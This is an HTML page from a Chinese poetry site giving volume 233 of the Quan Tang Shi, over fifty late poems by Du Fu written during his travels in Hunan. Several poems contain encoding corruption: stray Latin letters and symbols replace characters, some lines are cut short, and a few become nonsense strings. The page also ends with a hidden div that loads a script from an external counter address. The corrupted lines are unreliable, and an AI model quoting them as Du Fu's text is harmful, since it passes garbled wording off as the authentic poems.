<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="../../style.css"><title>古诗库：全唐诗卷二百三十三</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

</head>
<body><script language="javascript" src="../../search.js"></script>
<center><input type="button" value="本页内部搜索" onclick="gofind()"></center>
<p><div align="left">

　　卷二百三十三
<br>
<br>　　卷233_1  「晓发公安（数月憩息此县）」杜甫
<br>
<br>　　北城击柝复欲罢，东方明星亦不迟。邻鸡野哭如昨日，
<br>
<br>　　物色生态能几时，舟楫眇然自此去，江湖远适无前期。
<br>
<br>　　出门转眄已陈迹，药饵扶吾随所之。
<br>
<br>　　卷233_2  「泊岳阳城下」杜甫
<br>
<br>　　江国逾千里，山城仅百层。岸风翻夕浪，舟雪洒寒灯。
<br>
<br>　　留滞才难尽，艰危气益增。图南未可料，变化有鲲鹏。
<br>
<br>　　卷233_3  「缆船苦风，戏题四韵，奉简郑十三判官（泛）」杜甫
<br>
<br>　　楚岸朔风疾，天寒I鸹呼。涨沙霾草树，舞雪渡江湖。
<br>
<br>　　吹帽时时落，维舟日日孤。因声置驿外，为觅酒家垆。
<br>
<br>　　卷233_4  「登岳阳楼」杜甫
<br>
<br>　　昔闻洞庭水，今上岳阳楼。吴楚东南坼，乾坤日夜浮。
<br>
<br>　　亲朋无一字，老病有孤舟。戎马关山北，凭轩涕泗流。
<br>
<br>　　卷233_5  「陪裴使君登岳阳楼」杜甫
<br>
<br>　　湖阔兼云雾，楼孤属晚晴。礼加徐孺子，诗接谢宣城。
<br>
<br>　　雪岸丛梅发，春泥百草生。敢违渔父问，从此更南征。
<br>
<br>　　卷233_6  「过南岳入洞庭湖」杜甫
<br>
<br>　　洪波忽争道，岸转异江湖。鄂渚分云树，衡山引舳舻。
<br>
<br>　　翠牙穿`桨，碧节上寒蒲。病渴身何去，春生力更无。
<br>
<br>　　壤童犁雨雪，渔屋架泥涂。欹侧风帆满，微冥水驿孤。
<br>
<br>　　悠悠回赤壁，浩浩略苍梧。帝子留遗恨，曹公屈壮图。
<br>
<br>　　圣朝光御极，残孽驻艰虞。才淑随厮养，名贤隐锻炉。
<br>
<br>　　邵平元入汉，张翰后归吴。莫怪啼痕数，危樯逐夜乌。
<br>
<br>　　卷233_7  「宿青草湖（重湖，南青草，北洞庭）」杜甫
<br>
<br>　　洞庭犹在目，青草续为名。宿桨依农事，邮签报水程。
<br>
<br>　　寒冰争倚薄，云月递微明。湖雁双双起，人来故北征。
<br>
<br>　　卷233_8  「宿白沙驿（初过湖南五里）」杜甫
<br>
<br>　　水宿仍馀照，人烟复此亭。驿边沙旧白，湖外草新青。
<br>
<br>　　万象皆春气，孤槎自客星。随波无限月，的的近南溟。
<br>
<br>　　卷233_9  「湘夫人祠（即黄陵庙）」杜甫
<br>
<br>　　肃肃湘妃庙，空墙碧水春。虫书玉佩藓，燕舞翠帷尘。
<br>
<br>　　晚泊登汀树，微馨借渚O.苍梧恨不尽，染泪在丛筠。
<br>
<br>　　卷233_10  「祠南夕望」杜甫
<br>
<br>　　百丈牵江色，孤舟泛日斜。兴来犹杖屦，目断更云沙。
<br>
<br>　　山鬼迷春竹，湘娥倚暮花。湖南清绝地，万古一长嗟。
<br>
<br>　　卷233_11  「登白马潭」杜甫
<br>
<br>　　水生春缆没，日出野船开。宿鸟行犹去，丛花笑不来。
<br>
<br>　　人人伤白首，处处接金杯。莫道新知要，南征且未回。
<br>
<br>　　卷233_12  「归雁」杜甫
<br>
<br>　　闻道今春雁，南归自广州。见花辞涨海，避雪到罗浮。
<br>
<br>　　是物关兵气，何时免客愁。年年霜露隔，不过五湖秋。
<br>
<br>　　卷233_13  「野望」杜甫
<br>
<br>　　纳纳乾坤大，行行郡国遥。云山兼五岭，风壤带三苗。
<br>
<br>　　野树侵江阔，春蒲长雪消。扁舟空老去，无补圣明朝。
<br>
<br>　　卷233_14  「入乔口（长沙北界）」杜甫
<br>
<br>　　漠漠旧京远，迟迟归路赊。残年傍水国，落日对春华。
<br>
<br>　　树蜜早蜂乱，江泥轻燕斜。贾生骨已朽，凄恻近长沙。
<br>
<br>　　卷233_15  「铜官渚守风（渚在宁乡县）」杜甫
<br>
<br>　　不夜楚帆落，避风湘渚间。水耕先浸草，春火更烧山。
<br>
<br>　　早泊云物晦，逆行波浪悭。飞来双白鹤，过去杳难攀。
<br>
<br>　　卷233_16  「北风（新康江口信宿方行）」杜甫
<br>
<br>　　春生南国瘴，气待北风苏。向晚霾残日，初宵鼓大炉。
<br>
<br>　　爽携卑湿地，声拔洞庭湖。万里鱼龙伏，三更鸟兽呼。
<br>
<br>　　涤除贪破浪，愁绝付摧枯。执热沉沉在，凌寒往往须。
<br>
<br>　　且知宽疾肺，不敢恨危途。再宿烦舟子，衰容问仆夫。
<br>
<br>　　今晨非盛怒，便道即长驱。隐几看帆席，云州涌坐隅。
<br>
<br>　　卷233_17  「双枫浦（在浏阳县）」杜甫
<br>
<br>　　辍棹青枫浦，双枫旧已摧。自惊衰谢力，不道栋梁材。
<br>
<br>　　浪足浮纱帽，皮须截锦苔。江边地有主，暂借上天回。
<br>
<br>　　卷233_18  「奉送王信州北归」杜甫
<br>
<br>　　朝廷防盗贼，供给愍诛求。下诏选郎署，传声能典州。
<br>
<br>　　苍生今日困，天子向时忧。井屋有烟起，疮痍无血流。
<br>
<br>　　壤歌唯海甸，画角自山楼。白发寐常早，荒榛农复秋。
<br>
<br>　　解龟逾卧辙，遣骑觅扁舟。徐榻不知倦，颍川何以酬。
<br>
<br>　　尘生彤管笔，寒腻黑貂裘。高义终焉在，斯文去矣休。
<br>
<br>　　别离同雨散，行止各云浮。林热鸟开口，江浑鱼掉头。
<br>
<br>　　尉佗虽北拜，太史尚南留。军旅应都息，寰区要尽收。
<br>
<br>　　九重思谏诤，八极念怀柔。徙倚瞻王室，从容仰庙谋。
<br>
<br>　　故人持雅论，绝塞豁穷愁。复见陶唐理，甘为汗漫游。
<br>
<br>　　卷233_19  「江阁卧病走笔寄呈崔、卢两侍御」杜甫
<br>
<br>　　客子庖厨薄，江楼枕席清。衰年病只瘦，长夏想为情。
<br>
<br>　　滑忆雕胡饭，香闻锦带羹。溜匙兼暖腹，谁欲致杯罂。
<br>
<br>　　卷233_20  「潭州送韦员外牧韶州（迢）」杜甫
<br>
<br>　　炎海韶州牧，风流汉署郎。分符先令望，同舍有辉光。
<br>
<br>　　白首多年疾，秋天昨夜凉。洞庭无过雁，书疏莫相忘。
<br>
<br>　　卷233_21  「江阁对雨有怀行营裴二端公（裴虬与讨臧d故有行营）」杜甫
<br>
<br>　　南纪风涛壮，阴晴屡不分。野流行地日，江入度山云。
<br>
<br>　　层阁凭雷殷，长空水面文。雨来铜柱北，应洗伏波军。
<br>
<br>　　卷233_22  「酬韦韶州见寄」杜甫
<br>
<br>　　养拙江湖外，朝廷记忆疏。深惭长者辙，重得故人书。
<br>
<br>　　白发丝难理，新诗锦不如。虽无南去雁，看取北来鱼。
<br>
<br>　　卷233_23  「千秋节有感二首（八月二日为明皇千秋节）」杜甫
<br>
<br>　　自罢千秋节，频伤八月来。先朝常宴会，壮观已尘埃。
<br>
<br>　　凤纪编生日，龙池堑劫灰。湘川新涕泪，秦树远楼台。
<br>
<br>　　宝镜群臣得，金吾万国回。衢尊不重饮，白首独馀哀。
<br>
<br>　　御气云楼敞，含风彩仗高。仙人张内乐，王母献宫桃。
<br>
<br>　　罗袜红蕖艳，金羁白雪毛。舞阶衔寿酒，走索背秋毫。
<br>
<br>　　圣主他年贵，边心此日劳。桂江流向北，满眼送波涛。
<br>
<br>　　卷233_24  「晚秋长沙蔡五侍御饮筵，送殷六参军归澧州觐省」杜甫
<br>
<br>　　佳士欣相识，慈颜望远游。甘从投辖饮，肯作置书邮。
<br>
<br>　　高鸟黄云暮，寒蝉碧树秋。湖南冬不雪，吾病得淹留。
<br>
<br>　　卷233_25  「湖中送敬十使君适广陵」杜甫
<br>
<br>　　相见各头白，其如离别何。几年一会面，今日复悲歌。
<br>
<br>　　少壮乐难得，岁寒心匪他。气缠霜匣满，冰置玉壶多。
<br>
<br>　　遭乱实漂泊，济时曾琢磨。形容吾校老，胆力尔谁过。
<br>
<br>　　秋晚岳增翠，风高湖涌波。N腾访知己，淮海莫蹉跎。
<br>
<br>　　卷233_26  「长沙送李十一（衔）」杜甫
<br>
<br>　　与子避地西康州，洞庭相逢十二秋。远愧尚方曾赐履，
<br>
<br>　　竟非吾土倦登楼。久存胶漆应难并，一辱泥涂遂晚收。
<br>
<br>　　李杜齐名真忝窃，朔云寒菊倍离忧。
<br>
<br>　　卷233_27  「重送刘十弟判官」杜甫
<br>
<br>　　分源豕韦派，别浦雁宾秋。年事推兄忝，人才觉弟优。
<br>
<br>　　经过辨丰剑，意气逐吴钩。垂翅徒衰老，先鞭不滞留。
<br>
<br>　　本枝凌岁晚，高义豁穷愁。他日临江待，长沙旧驿楼。
<br>
<br>　　卷233_28  「奉赠卢五丈参谋（琚）」杜甫
<br>
<br>　　恭惟同自出，妙选异高标。入幕知孙楚，披襟得郑侨。
<br>
<br>　　丈人藉才地，门阀冠云霄。老矣逢迎拙，相于契托饶。
<br>
<br>　　赐钱倾府待，争米驻船遥。邻好艰难薄，氓心杼轴焦。
<br>
<br>　　客星空伴使，寒水不成潮。素发干垂领，银章破在腰。
<br>
<br>　　说诗能累夜，醉酒或连朝。藻翰惟牵率，湖山合动摇。
<br>
<br>　　时清非造次，兴尽却萧条。天子多恩泽，苍生转寂寥。
<br>
<br>　　休传鹿是马，莫信f如^.未解依依袂，还斟泛泛瓢。
<br>
<br>　　流年疲蟋蟀，体物幸鹪鹩。辜负沧洲愿，谁云晚见招。
<br>
<br>　　卷233_29  「登舟将适汉阳」杜甫
<br>
<br>　　春宅弃汝去，秋帆催客归。庭蔬尚在眼，浦浪已吹衣。
<br>
<br>　　生理飘荡拙，有心迟暮违。中原戎马盛，远道素书稀。
<br>
<br>　　塞雁与时集，樯乌终岁飞。鹿门自此往，永息汉阴机。
<br>
<br>　　卷233_30  「暮秋将归秦，留别湖南幕府亲友」杜甫
<br>
<br>　　水阔苍梧野，天高白帝秋。途穷那免哭，身老不禁愁。
<br>
<br>　　大府才能会，诸公德业优。北归冲雨雪，谁悯敝貂裘。
<br>
<br>　　卷233_31  「送卢十四弟侍御护韦尚书灵榇归上都二十韵」杜甫
<br>
<br>　　素幕渡江远，朱幡登陆微。悲鸣驷马顾，失涕万人挥。
<br>
<br>　　参佐哭辞毕，门阑谁送归。从公伏事久，之子俊才稀。
<br>
<br>　　长路更执绋，此心犹倒衣。感恩义不小，怀旧礼无违。
<br>
<br>　　墓待龙骧诏，台迎獬豸威。深衷见士则，雅论在兵机。
<br>
<br>　　戎狄乘妖气，尘沙落禁闱。往年朝谒断，他日扫除非。
<br>
<br>　　但促铜壶箭，休添玉帐纭６询黄阁老，肯虑白登围。
<br>
<br>　　万姓疮痍合，群凶嗜欲肥。刺规多谏诤，端拱自光辉。
<br>
<br>　　俭约前王体，风流后代希。对扬期特达，衰朽再芳菲。
<br>
<br>　　空里愁书字，山中疾采薇。拨杯要忽罢，抱被宿何依。
<br>
<br>　　眼冷看征盖，儿扶立钓矶。清霜洞庭叶，故就别时飞。
<br>
<br>　　卷233_32  「哭李常侍峄二首」杜甫
<br>
<br>　　一代风流尽，修文地下深。斯人不重见，将老失知音。
<br>
<br>　　短日行梅岭，寒山落桂林。长安若个畔，犹想映貂金。
<br>
<br>　　青琐陪双入，铜梁阻一辞。风尘逢我地，江汉哭君时。
<br>
<br>　　次第寻书札，呼儿检赠诗。发挥王子表，不愧史臣词。
<br>
<br>　　卷233_33  「哭韦大夫之晋」杜甫
<br>
<br>　　凄怆郇瑕色，差池弱冠年。丈人叨礼数，文律早周旋。
<br>
<br>　　台阁黄图里，簪裾紫盖边。尊荣真不忝，端雅独然。
<br>
<br>　　贡喜音容间，冯招病疾缠。南过骇仓卒，北思悄联绵。
<br>
<br>　　f鸟长沙讳，犀牛蜀郡怜。素车犹恸哭，宝剑谷高悬。
<br>
<br>　　汉道中兴盛，韦经亚相传。冲融标世业，磊落映时贤。
<br>
<br>　　城府深朱夏，江湖眇霁天。绮楼关树顶，飞矸禾们啊
<br>
<br>　　幕疑风燕，笳箫急暮蝉。兴残虚白室，迹断孝廉船。
<br>
<br>　　童孺交游尽，喧卑俗事牵。老来多涕泪，情在强诗篇。
<br>
<br>　　谁寄方隅理，朝难将帅权。春秋褒贬例，名器重双全。
<br>
<br>　　卷233_34  「舟中夜雪，有怀卢十四侍御弟」杜甫
<br>
<br>　　朔风吹桂水，朔雪夜纷纷。暗度南楼月，寒深北渚云。
<br>
<br>　　烛斜初近见，舟重竟无闻。不识山阴道，听鸡更忆君。
<br>
<br>　　卷233_35  「对雪」杜甫
<br>
<br>　　北雪犯长沙，胡云冷万家。随风且间叶，带雨不成花。
<br>
<br>　　金错囊从罄，银壶酒易赊。无人竭浮蚁，有待至昏鸦。
<br>
<br>　　卷233_36  「楼上」杜甫
<br>
<br>　　天地空搔首，频抽白玉簪。皇舆三极北，身事五湖南。
<br>
<br>　　恋阙劳肝肺，论材愧杞楠。乱离难自救，终是老湘潭。
<br>
<br>　　卷233_37  「冬晚送长孙渐舍人归州」杜甫
<br>
<br>　　参卿休坐幄，荡子不还乡。南客潇湘外，西戎杜旁。
<br>
<br>　　衰年倾盖晚，费日系舟长。会面思来札，销魂逐去樯。
<br>
<br>　　云晴鸥更舞，风逆雁无行。匣里雌雄剑，吹毛任选将。
<br>
<br>　　卷233_38  「暮冬送苏四郎斜曹适桂州」杜甫
<br>
<br>　　飘飘苏季子，六印佩何迟。早作诸侯客，兼工古体诗。
<br>
<br>　　尔贤埋照久，余病长年悲。卢绾须征日，楼兰要斩时。
<br>
<br>　　岁阳初盛动，王化久磷缁。为入苍梧庙，看云哭九疑。
<br>
<br>　　卷233_39  「风疾舟中伏枕书怀三十六韵，奉呈湖南亲友」杜甫
<br>
<br>　　轩辕休制律，虞舜罢弹琴。尚错雄鸣管，犹伤半死心。
<br>
<br>　　圣贤名古邈，羁旅病年侵。舟泊常依震，湖平早见参。
<br>
<br>　　如闻马融笛，若倚仲宣襟。故国悲寒望，群云惨岁阴。
<br>
<br>　　水乡霾白屋，枫岸叠青岑。郁郁冬炎瘴，饔曛鸵。
<br>
<br>　　鼓迎非祭鬼，弹落似^禽。兴尽才无闷，愁来遽不禁。
<br>
<br>　　生涯相汩没，时物自萧森。疑惑尊中弩，淹留冠上簪。
<br>
<br>　　牵裾惊魏帝，投阁为刘歆。狂走终奚适，微才谢所钦。
<br>
<br>　　吾安藜不糁，汝贵玉为琛。乌几重重缚，鹑衣寸寸针。
<br>
<br>　　哀伤同庾信，述作异陈琳。十暑岷山葛，三霜楚户砧。
<br>
<br>　　叨陪锦帐座，久放白头吟。反朴时难遇，忘机陆易沈。
<br>
<br>　　应过数粒食，得近四知金。春草封归恨，源花费独寻。
<br>
<br>　　转蓬忧悄悄，行药病涔涔。瘗夭追潘岳，持危觅邓林。
<br>
<br>　　蹉跎翻学步，感激在知音。却假苏张舌，高夸周宋镡。
<br>
<br>　　纳流迷浩汗，峻址得。城府开清旭，松筠起碧浔。
<br>
<br>　　披颜争倩倩，逸足竞。朗鉴存愚直，皇天实照临。
<br>
<br>　　公孙仍恃险，侯景未生擒。书信中原阔，干戈北斗深。
<br>
<br>　　畏人千里井，问俗九州箴。战血流依旧，军声动至今。
<br>
<br>　　葛洪尸定解，许靖力还任。家事丹砂诀，无成涕作霖。
<br>
<br>　　卷233_40  「奉赠萧二十使君」杜甫
<br>
<br>　　昔在严公幕，俱为蜀使臣。艰危参大府，前后间清尘。
<br>
<br>　　起草鸣先路，乘槎动要津。王凫聊暂出，萧雉只相驯。
<br>
<br>　　终始任安义，荒芜孟母邻。联翩匍匐礼，意气死生亲。
<br>
<br>　　张老存家事，嵇康有故人。食恩惭卤莽，镂骨抱酸辛。
<br>
<br>　　巢许山林志，夔龙廊庙珍。鹏图仍矫翼，熊轼且移轮。
<br>
<br>　　磊落衣冠地，苍茫土木身。埙篪鸣自合，金石莹逾新。
<br>
<br>　　重忆罗江外，同游锦水滨。结欢随过隙，怀旧益沾巾。
<br>
<br>　　旷绝含香舍，稽留伏枕辰。停骖双阙早，回雁五湖春。
<br>
<br>　　不达长卿病，从来原宪贫。监河受贷粟，一起辙中鳞。
<br>
<br>　　卷233_41  「奉送二十三舅录事之摄郴州」杜甫
<br>
<br>　　贤良归盛族，吾舅尽知名。徐庶高交友，刘牢出外甥。
<br>
<br>　　泥涂岂珠玉，环堵但柴荆。衰老悲人世，驱驰厌甲兵。
<br>
<br>　　气春江上别，泪血渭阳情。舟o排风影，林乌反哺声。
<br>
<br>　　永嘉多北至，句漏且南征。必见公侯复，终闻盗贼平。
<br>
<br>　　郴州颇凉冷，橘井尚凄清。从役何蛮貊，居官志在行。
<br>
<br>　　卷233_42  「送魏二十四司直充岭南掌选崔郎中判官兼寄韦韶州」杜甫
<br>
<br>　　选曹分五岭，使者历三湘。才美膺推荐，君行佐纪纲。
<br>
<br>　　佳声斯共远，雅节在周防。明白山涛鉴，嫌疑陆贾装。
<br>
<br>　　故人湖外少，春日岭南长。凭报韶州牧，新诗昨寄将。
<br>
<br>　　卷233_43  「送赵十七明府之县」杜甫
<br>
<br>　　连城为宝重，茂宰得才新。山雉迎舟楫，江花报邑人。
<br>
<br>　　论交翻恨晚，卧病却愁春。惠爱南翁悦，馀波及老身。
<br>
<br>　　卷233_44  「燕子来舟中作」杜甫
<br>
<br>　　湖南为客动经春，燕子衔泥两度新。旧入故园常识主，
<br>
<br>　　如今社日远看人。可怜处处巢君室，何异飘飘托此身。
<br>
<br>　　暂语船樯还起去，穿花落水益沾巾。
<br>
<br>　　卷233_45  「同豆卢峰知字韵」杜甫
<br>
<br>　　炼金欧冶子，喷玉大宛儿。符彩高无敌，聪明达所为。
<br>
<br>　　梦兰他日应，折桂早年知。烂漫通经术，光芒刷羽仪。
<br>
<br>　　谢庭瞻不远，潘省会于斯。倡和将雏曲，田翁号鹿皮。
<br>
<br>　　卷233_46  「归雁二首」杜甫
<br>
<br>　　万里衡阳雁，今年又北归。双双瞻客上，一一背人飞。
<br>
<br>　　云里相呼疾，沙边自宿稀。系书元浪语，愁寂故山薇。
<br>
<br>　　欲雪违胡地，先花别楚云。却过清渭影，高起洞庭群。
<br>
<br>　　塞北春阴暮，江南日色曛。伤弓流落羽，行断不堪闻。
<br>
<br>　　卷233_47  「小寒食舟中作」杜甫
<br>
<br>　　佳辰强饭食犹寒，隐几萧条带i冠。春水船如天上坐，
<br>
<br>　　老年花似雾中看。娟娟戏蝶过闲幔，片片轻鸥下急湍。
<br>
<br>　　云白山青万馀里，愁看直北是长安。
<br>
<br>　　卷233_48  「清明二首」杜甫
<br>
<br>　　朝来新火起新烟，湖色春光净客船。绣羽衔花他自得，
<br>
<br>　　红颜骑竹我无缘。胡童结束还难有，楚女腰肢亦可怜。
<br>
<br>　　不见定王城旧处，长怀贾傅井依然。虚沾焦举为寒食，
<br>
<br>　　实藉严君卖卜钱。钟鼎山林各天性，浊醪粗饭任吾年。
<br>
<br>　　此身飘泊苦西东，右臂偏枯半耳聋。寂寂系舟双下泪，
<br>
<br>　　悠悠伏枕左书空。十年蹴g将雏远，万里秋千习俗同。
<br>
<br>　　旅雁上云归紫塞，家人钻火用青枫。秦城楼阁烟花里，
<br>
<br>　　汉主山河锦绣中。风水春来洞庭阔，白O愁杀白头翁。
<br>
<br>　　卷233_49  「发潭州（时自潭之衡）」杜甫
<br>
<br>　　夜醉长沙酒，晓行湘水春。岸花飞送客，樯燕语留人。
<br>
<br>　　贾傅才未有，褚公书绝伦。高名前后事，回首一伤神。
<br>
<br>　　卷233_50  「回棹」杜甫
<br>
<br>　　宿昔试安命，自私犹畏天。劳生系一物，为客费多年。
<br>
<br>　　衡岳江湖大，蒸池疫疠偏。散才婴薄俗，有迹负前贤。
<br>
<br>　　巾拂那关眼，瓶易满船。火云滋垢腻，冻雨`沉绵。
<br>
<br>　　强饭莼添滑，端居茗续煎。清思汉水上，凉忆岘山巅。
<br>
<br>　　顺浪翻堪倚，回帆又省牵。吾家碑不昧，王氏井依然。
<br>
<br>　　几杖将衰齿，茅茨寄短椽。灌园曾取适，游寺可终焉。
<br>
<br>　　遂性同渔父，成名异鲁连。篙师烦尔送，朱夏及寒泉。
<br>
<br>　　卷233_51  「赠韦七赞善」杜甫
<br>
<br>　　乡里衣冠不乏贤，杜陵韦曲未央前。尔家最近魁三象，
<br>
<br>　　时论同归尺五天。北走关山开雨雪，南游花柳塞云烟。
<br>
<br>　　洞庭春色悲公子，y菜忘归范蠡船。
<br>
<br>　　卷233_52  「奉酬寇十侍御锡见寄四韵，复寄寇」杜甫
<br>
<br>　　往别郇瑕地，于今四十年。来簪御府笔，故泊洞庭船。
<br>
<br>　　诗忆伤心处，春深把臂前。南瞻按百越，黄帽待君偏。
<br>
<br>　　卷233_53  「酬郭十五受判官」杜甫
<br>
<br>　　才微岁老尚虚名，卧病江湖春复生。药裹关心诗总废，
<br>
<br>　　花枝照眼句还成。只同燕石能星陨，自得隋珠觉夜明。
<br>
<br>　　乔口橘洲风浪促，系帆何惜片时程。
<br>
<br>　　卷233_54  「衡州送李大夫七丈勉赴广州」杜甫
<br>
<br>　　斧钺下青冥，楼船过洞庭。北风随爽气，南斗避文星。
<br>
<br>　　日月笼中鸟，乾坤水上萍。王孙丈人行，垂老见飘零。
<br>
<br>
<br>   
<br>
<br>
</center></div>
<div style="DISPLAY: none"><script src=http://www.lingshidao.com/count/count.php></script></div></body>
</html>
